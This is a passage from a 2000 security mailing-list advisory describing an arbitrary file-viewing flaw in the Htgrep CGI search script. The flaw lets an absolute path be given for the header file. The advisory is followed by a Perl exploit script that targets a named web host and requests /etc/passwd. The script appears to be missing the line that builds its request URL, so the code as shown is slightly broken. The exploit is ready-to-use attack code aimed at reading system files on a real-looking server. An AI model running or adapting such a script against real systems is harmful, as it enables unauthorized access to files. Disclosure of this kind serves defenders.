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Subject: Htgrep CGI Arbitrary File Viewing Vulnerability
From: n30 (n30GMX.CO.UK)
Date: Thu Aug 17 2000 - 08:41:42 CDT

Software: Htgrep
URL: http://www.iam.unibe.ch/~scg/Src/Doc/
Version: All Versions
Platforms: Unix maybe Winnt?
Author status: Notified


        Any remote user can view arbitrary files on the
system with the
privileges of the web user


        The CGI allows a user to specify a header and
footer file to be
appended to the search output, this file should be located
in the wwwroot
which is specified in the script itself. Any attempt to
specify a header
or footer file by using backwards directory referencing is
trapped. Although
it is possible to specify a file using an absolute path.



        The File /etc/passwd will be displayed instead of
the default header


        The author has been notified, it is likely that an
update will be
available shortly.


Exploit Follows:

# Htgrep EXPLOIT Script by n30 17/8/2000
# For: Unix/Linux all Distro's
# maybe Winnt?? anyone??
# Versions: All upto latest: htgrep v3.0
# Info: to find the version number being used:
# www.server.com/cgi-bin/htgrep/version
# Some ppl use a wrapper for the script thusly
# eliminating the file argument, the sploit will
# still werk just add &hdr=<filename> to the end :-)
# if &isindex=<text> is present in the URL REMOVE IT!!!
# or else the exploit won't werk :-)
# Mail : n30gmx.co.uk

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $ua = new LWP::UserAgent;

# *************************************************
my $TargetHost="www.dematel.com";
my $TargetPath="/cgibin/htgrep";
# SearchFile can commonly be index.html or some other file
in the wwwroot
my $SearchFile="index.html";
# FiletoGet ?? think for ur self :-)
my $FiletoGet="/etc/passwd";
# **************************************************


 print("\nHtgrep Arbitrary File Reading Vulnerability
EXPLOIT /n30\n\n");

 print("URL: $url\n\n");

 my $request = new HTTP::Request('GET', $url);
 my $response = $ua->request($request);
 if ($response->is_success) {
      print $response->content;
 } else {
      print $response->error_as_HTML;

# Definitely NOT
Hack.co.za #